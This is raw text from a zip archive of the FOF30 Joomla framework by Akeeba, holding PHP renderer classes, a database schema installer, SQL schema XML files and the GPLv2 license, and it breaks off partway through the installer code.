'icon-32-unpublish' => 'icon-eye-close', 'icon-32-delete' => 'icon-trash', 'icon-32-edit' => 'icon-edit', 'icon-32-copy' => 'icon-th-large', 'icon-32-cancel' => 'icon-remove', 'icon-32-back' => 'icon-circle-arrow-left', 'icon-32-apply' => 'icon-ok', 'icon-32-save' => 'icon-hdd', 'icon-32-save-new' => 'icon-repeat', ]; if (isset(JoomlaFactory::getApplication()->JComponentTitle)) { $title = JoomlaFactory::getApplication()->JComponentTitle; } else { $title = ''; } $html = []; $actions = []; // We have to use the same id we're using inside other renderers $html[] = '<div class="well" id="FOFHeaderContainer">'; $html[] = '<div class="titleContainer">' . $title . '</div>'; $html[] = '<div class="buttonsContainer">'; foreach ($items as $node) { $type = $node[0]; $button = $bar->loadButtonType($type); if ($button !== false) { $action = call_user_func_array([&$button, 'fetchButton'], $node); $action = str_replace('class="toolbar"', 'class="toolbar btn"', $action); $action = str_replace('<span ', '<i ', $action); $action = str_replace('</span>', '</i>', $action); $action = str_replace(array_keys($substitutions), array_values($substitutions), $action); $actions[] = $action; } } $html = array_merge($html, $actions); $html[] = '</div>'; $html[] = '</div>'; echo implode("\n", $html); } /** * Opens the wrapper DIV element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $this->setOption('wrapper_id', $this->getOption('wrapper_id', 'akeeba-renderjoomla')); $classes[] = 'akeeba-renderer-joomla'; parent::openPageWrapper($classes); } } PK���\G��G�� fof30/Render/RenderInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Render; defined('_JEXEC') || die; use FOF30\Container\Container; use stdClass; /** * Interface for FOF view renderers * * @package FOF30\Render * @since 3.0.0 */ interface RenderInterface { /** * Public constructor * * @param Container $container The container we are attached to */ function __construct(Container $container); /** * Returns the information about this renderer * * @return object */ function getInformation(): stdClass; /** * Echoes any HTML to show before the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function preRender(string $view, string $task): void; /** * Echoes any HTML to show after the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function postRender(string $view, string $task): void; /** * Renders the submenu (link bar) for a category view when it is used in a * extension * * Note: this function has to be called from the addSubmenu function in * the ExtensionNameHelper class located in * administrator/components/com_ExtensionName/helpers/Extensionname.php * * @return void */ function renderCategoryLinkbar(): void; /** * Set a renderer option (depends on the renderer) * * @param string $key The name of the option to set * @param mixed $value The value of the option * * @return void */ function setOption(string $key, $value = null): void; /** * Set multiple renderer options at once (depends on the renderer) * * @param array $options The options to set as key => value pairs * * @return void */ function setOptions(array $options): void; /** * Get the value of a renderer option * * @param string $key The name of the parameter * @param mixed $default The default value to return if the parameter is not set * * @return mixed The parameter value */ function getOption(string $key, $default = null); } PK���\oȁV��fof30/Render/RenderBase.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Render; defined('_JEXEC') || die; use FOF30\Container\Container; use Joomla\Registry\Registry; use LogicException; use stdClass; /** * Base class for other render classes * * @package FOF30\Render * @since 3.0.0 */ abstract class RenderBase implements RenderInterface { /** @var Container|null The container we are attached to */ protected $container = null; /** @var bool Is this renderer available under this execution environment? */ protected $enabled = false; /** @var int The priority of this renderer in case we have multiple available ones */ protected $priority = 0; /** @var Registry A registry object holding renderer options */ protected $optionsRegistry = null; /** * Public constructor. Determines the priority of this class and if it should be enabled */ public function __construct(Container $container) { $this->container = $container; $this->optionsRegistry = new Registry(); } /** * Set a renderer option (depends on the renderer) * * @param string $key The name of the option to set * @param mixed $value The value of the option * * @return void */ function setOption(string $key, $value = null): void { $this->optionsRegistry->set($key, $value); } /** * Set multiple renderer options at once (depends on the renderer) * * @param array $options The options to set as key => value pairs * * @return void */ function setOptions(array $options): void { foreach ($options as $key => $value) { $this->setOption($key, $value); } } /** * Get the value of a renderer option * * @param string $key The name of the parameter * @param mixed $default The default value to return if the parameter is not set * * @return mixed The parameter value */ function getOption(string $key, $default = null) { return $this->optionsRegistry->get($key, $default); } /** * Returns the information about this renderer * * @return stdClass */ function getInformation(): stdClass { $classParts = explode('\\', get_class($this)); return (object) [ 'enabled' => $this->enabled, 'priority' => $this->priority, 'name' => strtolower(array_pop($classParts)), ]; } /** * Echoes any HTML to show before the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function preRender(string $view, string $task): void { $this->loadCustomCss(); } /** * Echoes any HTML to show after the view template * * @param string $view The current view * @param string $task The current task * * @return void */ function postRender(string $view, string $task): void { } /** * Renders the submenu (link bar) for a category view when it is used in a * extension * * Note: this function has to be called from the addSubmenu function in * the ExtensionNameHelper class located in * administrator/components/com_ExtensionName/helpers/Extensionname.php * * @return void */ function renderCategoryLinkbar(): void { throw new LogicException(sprintf('Renderer class %s must implement the %s method', get_class($this), __METHOD__)); } /** * Opens a wrapper DIV. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $removeClasses = $this->getOption('remove_wrapper_classes', []); if (!is_array($removeClasses)) { $removeClasses = explode(',', $removeClasses); } $removeClasses = array_map('trim', $removeClasses); foreach ($removeClasses as $class) { $x = array_search($class, $classes); if ($x !== false) { unset($classes[$x]); } } // Add the following classes to the wrapper div $addClasses = $this->getOption('add_wrapper_classes', ''); if (!is_array($addClasses)) { $addClasses = explode(',', $addClasses); } $addClasses = array_map('trim', $addClasses); $customClasses = implode(' ', array_unique(array_merge($classes, $addClasses))); $id = $this->getOption('wrapper_id', null); $id = empty($id) ? "" : sprintf(' id="%s"', $id); echo <<< HTML <div class="$customClasses"$id> HTML; } /** * Outputs HTML which closes the page wrappers opened with openPageWrapper. * * @return void */ protected function closePageWrapper(): void { echo "</div>\n"; } /** * Loads the custom CSS files defined in the custom_css renderer option. */ protected function loadCustomCss() { $custom_css_raw = $this->getOption('custom_css', ''); $custom_css_raw = trim($custom_css_raw); if (empty($custom_css_raw)) { return; } $files = explode(',', $custom_css_raw); $mediaVersion = $this->container->mediaVersion; foreach ($files as $file) { $file = trim($file); if (empty($file)) { continue; } $this->container->template->addCSS($file, $mediaVersion); } } } PK���\��m4PPfof30/Render/FEF.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Render; defined('_JEXEC') || die; use AkeebaFEFHelper; use FOF30\Container\Container; /** * Renderer class for use with Akeeba FEF * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-rendered-fef * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * load_fef Load FEF CSS and JS? Set to false if you are loading it outside the renderer. Default: true * fef_reset Should I reset the CSS styling for basic HTML elements inside the FEF container? Default: true * fef_dark Should I load the FEF Dark Mode CSS and supporting JS? Default: 0 (no). Options: 1 (yes and * activate immediately), -1 (include dark.css but not enable by default, also enables auto mode * for Safari) * custom_css Comma-separated list of custom CSS files to load _after_ the main FEF CSS file, e.g. * media://com_foo/css/bar.min.css,media://com_foo/css/baz.min.css * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * Note: when Dark Mode is enabled the class akeeba-renderer-fef--dark is applied to the container DIV. You can use * remove_wrapper_classes to remove it e.g. when you want it to be enabled only through a JavaScript-powered toggle. * * @package FOF30\Render */ class FEF extends Joomla { public function __construct(Container $container) { parent::__construct($container); $helperFile = JPATH_SITE . '/media/fef/fef.php'; if (!class_exists('AkeebaFEFHelper') && is_file($helperFile)) { include_once $helperFile; } $this->priority = 20; $this->enabled = class_exists('AkeebaFEFHelper'); } /** * Echoes any HTML to show before the view template. We override it to load the CSS files required for FEF. * * @param string $view The current view * @param string $task The current task * * @return void */ function preRender(string $view, string $task): void { $useReset = $this->getOption('fef_reset', true); $useFEF = $this->getOption('load_fef', true); $useDarkMode = $this->getOption('fef_dark', 0); if ($useFEF && class_exists('AkeebaFEFHelper')) { AkeebaFEFHelper::load($useReset); if ($useDarkMode != 0) { $this->container->template->addCSS('media://fef/css/dark.min.css'); } } parent::preRender($view, $task); } /** * Opens the FEF styling wrapper element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $useDarkMode = $this->getOption('fef_dark', false); if (($useDarkMode == 1) && !in_array('akeeba-renderer-fef--dark', $classes)) { $classes[] = 'akeeba-renderer-fef--dark'; } /** * Remove wrapper classes. By default these are classes for the Joomla 3 sidebar which is not used in FEF * components anymore. */ $removeClasses = $this->getOption('remove_wrapper_classes', [ 'j-toggle-main', 'j-toggle-transition', 'row-fluid', ]); if (!is_array($removeClasses)) { $removeClasses = explode(',', $removeClasses); } $removeClasses = array_map('trim', $removeClasses); foreach ($removeClasses as $class) { $x = array_search($class, $classes); if ($x !== false) { unset($classes[$x]); } } // Add the following classes to the wrapper div $addClasses = $this->getOption('add_wrapper_classes', ''); if (!is_array($addClasses)) { $addClasses = explode(',', $addClasses); } $addClasses = array_map('trim', $addClasses); $customClasses = implode(' ', array_unique(array_merge($classes, $addClasses))); $id = $this->getOption('wrapper_id', 'akeeba-renderer-fef'); $id = empty($id) ? "" : sprintf(' id="%s"', $id); echo <<< HTML <div class="akeeba-renderer-fef $customClasses"$id> HTML; } /** * Close the FEF styling wrapper element. * * @return void */ protected function closePageWrapper(): void { echo <<< HTML </div> HTML; } } PK���\Y�QQfof30/Render/Joomla3.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Render; defined('_JEXEC') || die; use FOF30\Container\Container; /** * Renderer class for use with Joomla! 3.x * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-renderjoomla * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * @package FOF30\Render * @since 3.0.0 */ class Joomla3 extends Joomla { public function __construct(Container $container) { $this->priority = 55; $this->enabled = version_compare(JVERSION, '3.0', 'ge') && version_compare(JVERSION, '3.9.999', 'le'); parent::__construct($container); } /** * Opens the FEF styling wrapper element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $classes[] = 'akeeba-renderer-joomla3'; parent::openPageWrapper($classes); } } PK���\�PYfof30/Render/Joomla4.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Render; defined('_JEXEC') || die; use FOF30\Container\Container; /** * Renderer class for use with Joomla! 4.x * * Renderer options * * wrapper_id The ID of the wrapper DIV. Default: akeeba-renderjoomla * linkbar_style Style for linkbars: joomla3|classic. Default: joomla3 * remove_wrapper_classes Comma-separated list of classes to REMOVE from the container * add_wrapper_classes Comma-separated list of classes to ADD to the container * * @package FOF30\Render */ class Joomla4 extends Joomla { public function __construct(Container $container) { $this->priority = 40; $this->enabled = version_compare(JVERSION, '3.9.999', 'gt'); parent::__construct($container); } /** * Opens the FEF styling wrapper element. Our component's output will be inside this wrapper. * * @param array $classes An array of additional CSS classes to add to the outer page wrapper element. * * @return void */ protected function openPageWrapper(array $classes): void { $classes[] = 'akeeba-renderer-joomla4'; parent::openPageWrapper($classes); } } PK���\%nhhfof30/sql/postgresql.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!-- ~ @package FOF ~ @copyright Copyright (c)2010-2020 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 2, or later --> <schema> <meta> <drivers> <driver>postgres</driver> <driver>postgresql</driver> </drivers> </meta> <sql> <action table="#__akeeba_common" canfail="0"> <condition type="missing" value=""/> <query><![CDATA[ CREATE TABLE IF NOT EXISTS "#__akeeba_common" ( "key" character varying(192) NOT NULL, "value" text NOT NULL, PRIMARY KEY ("key") ); ]]></query> </action> </sql> </schema>PK���\'���fof30/sql/mysql.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!-- ~ @package FOF ~ @copyright Copyright (c)2010-2020 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 2, or later --> <schema> <meta> <drivers> <driver>mysql</driver> <driver>mysqli</driver> <driver>pdomysql</driver> </drivers> <!-- We don't want this table to be converted to a different charset automatically. We will only convert a single column. --> <autocollation>false</autocollation> </meta> <sql> <action table="#__akeeba_common" canfail="0"> <condition type="missing" value=""/> <query><![CDATA[ CREATE TABLE IF NOT EXISTS `#__akeeba_common` ( `key` varchar(190) NOT NULL, `value` longtext NOT NULL, PRIMARY KEY (`key`) ) DEFAULT COLLATE utf8_general_ci CHARSET=utf8; ]]></query> </action> <action table="#__akeeba_common" canfail="1"> <condition type="utf8mb4upgrade"/> <query><![CDATA[ ALTER TABLE `#__akeeba_common` MODIFY COLUMN `value` longtext COLLATE utf8mb4_unicode_ci NOT NULL; ]]></query> </action> <action table="#__akeeba_common" canfail="1"> <condition type="true" /> <query><![CDATA[ ALTER TABLE `#__akeeba_common` MODIFY COLUMN `key` varchar(190) COLLATE utf8_unicode_ci NOT NULL; ]]></query> </action> </sql> </schema>PK���\2� ��fof30/sql/sqlsrv.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?> <!-- ~ @package FOF ~ @copyright Copyright (c)2010-2020 Nicholas K. Dionysopoulos / Akeeba Ltd ~ @license GNU General Public License version 2, or later --> <schema> <meta> <drivers> <driver>sqlsrv</driver> <driver>sqlazure</driver> </drivers> </meta> <sql> <action table="#__akeeba_common" canfail="0"> <condition type="missing" value=""/> <query><![CDATA[ CREATE TABLE [#__akeeba_common] ( [key] [NVARCHAR](192) NOT NULL, [value] [TEXT] NOT NULL, CONSTRAINT [PK_#__akeeba_common] PRIMARY KEY CLUSTERED ( [key] ASC ) WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF) ) ]]></query> </action> </sql> </schema>PK���\S�4<�G�Gfof30/LICENSE.txtnu&1i�================================================================================ Historical note ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ On February 21st, 2013 FOF changed its license to GPLv2 or later. ================================================================================ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License.PK���\���]�]fof30/Database/Installer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Database; defined('_JEXEC') || die; use Exception; use JDatabaseDriver; use JLoader; use Joomla\CMS\Filesystem\Folder; use SimpleXMLElement; class Installer { /** @var array Internal cache for table list */ protected static $allTables = []; /** @var JDatabaseDriver The database connector object */ private $db = null; /** @var string The directory where the XML schema files are stored */ private $xmlDirectory = null; /** @var string Force a specific **absolute** file path for the XML schema file */ private $forcedFile = null; /** * Public constructor * * @param JDatabaseDriver $db The database driver we're going to use to install the tables * @param string $directory The directory holding the XML schema update files * * @param array $config The configuration array */ public function __construct(JDatabaseDriver $db, $directory) { $this->db = $db; $this->xmlDirectory = $directory; } /** * Returns the directory where XML schema files are stored * * @return string * * @codeCoverageIgnore */ public function getXmlDirectory() { return $this->xmlDirectory; } /** * Sets the directory where XML schema files are stored * * @param string $xmlDirectory * * @codeCoverageIgnore */ public function setXmlDirectory($xmlDirectory) { $this->xmlDirectory = $xmlDirectory; } /** * Returns the absolute path to the forced XML schema file * * @return string * * @codeCoverageIgnore */ public function getForcedFile() { return $this->forcedFile; } /** * Sets the absolute path to an XML schema file which will be read no matter what. Set to a blank string to let the * Installer class auto-detect your schema file based on your database type. * * @param string $forcedFile * * @codeCoverageIgnore */ public function setForcedFile($forcedFile) { $this->forcedFile = $forcedFile; } /** * Clears the internal table list cache * * @return void */ public function nukeCache() { static::$allTables = []; } /** * Creates or updates the database schema * * @return void * * @throws Exception When a database query fails and it doesn't have the canfail flag */ public function updateSchema() { // Get the schema XML file $xml = $this->findSchemaXml(); if (empty($xml)) { return; } // Make sure there are SQL commands in this file if (!$xml->sql) { return; } // Walk the sql > action tags to find all tables /** @var SimpleXMLElement $actions */ $actions = $xml->sql->children(); /** * The meta/autocollation node defines if I should automatically apply the correct collation (utf8 or utf8mb4) * to the database tables managed by the schema updater. When enabled (default) the queries are automatically * converted to the correct collation (utf8mb4_unicode_ci or utf8_general_ci) depending on whether your Joomla! * and MySQL server support Multibyte UTF-8 (UTF8MB4). Moreover, if UTF8MB4 is supported, all CREATE TABLE * queries are analyzed and the tables referenced in them are auto-converted to the proper utf8mb4 collation. */ $autoCollationConversion = true; if ($xml->meta->autocollation) { $value = (string) $xml->meta->autocollation; $value = trim($value); $value = strtolower($value); $autoCollationConversion = in_array($value, ['true', '1', 'on', 'yes']); } $hasUtf8mb4Support = method_exists($this->db, 'hasUTF8mb4Support') && $this->db->hasUTF8mb4Support(); $tablesToConvert = []; // If we have an uppercase db prefix we can expect CREATE TABLE fail because we cannot detect reliably // the existence of database tables. See https://github.com/joomla/joomla-cms/issues/10928#issuecomment-228549658 $prefix = $this->db->getPrefix(); $canFailCreateTable = preg_match('/[A-Z]/', $prefix); /** @var SimpleXMLElement $action */ foreach ($actions as $action) { // Get the attributes $attributes = $action->attributes(); // Get the table / view name $table = $attributes->table ? (string) $attributes->table : ''; if (empty($table)) { continue; } // Am I allowed to let this action fail? $canFailAction = $attributes->canfail ?: 0; // Evaluate conditions $shouldExecute = true; /** @var SimpleXMLElement $node */ foreach ($action->children() as $node) { if ($node->getName() == 'condition') { // Get the operator $operator = $node->attributes()->operator ? (string) $node->attributes()->operator : 'and'; $operator = empty($operator) ? 'and' : $operator; $condition = $this->conditionMet($table, $node); switch ($operator) { case 'not': $shouldExecute = $shouldExecute && !$condition; break; case 'or': $shouldExecute = $shouldExecute || $condition; break; case 'nor': $shouldExecute = !$shouldExecute && !$condition; break; case 'xor': $shouldExecute = ($shouldExecute xor $condition); break; case 'maybe': $shouldExecute = $condition ? true : $shouldExecute; break; default: $shouldExecute = $shouldExecute && $condition; break; } } // DO NOT USE BOOLEAN SHORT CIRCUIT EVALUATION! // if (!$shouldExecute) break; } // Do I have to only collect the tables from CREATE TABLE queries? $onlyCollectTables = !$shouldExecute && $autoCollationConversion && $hasUtf8mb4Support; // Make sure all conditions are met OR I have to collect tables from CREATE TABLE queries. if (!$shouldExecute && !$onlyCollectTables) { continue; } // Execute queries foreach ($action->children() as $node) { if ($node->getName() == 'query') { $query = (string) $node; if ($autoCollationConversion && $hasUtf8mb4Support) { $this->extractTablesToConvert($query, $tablesToConvert); } // If we're 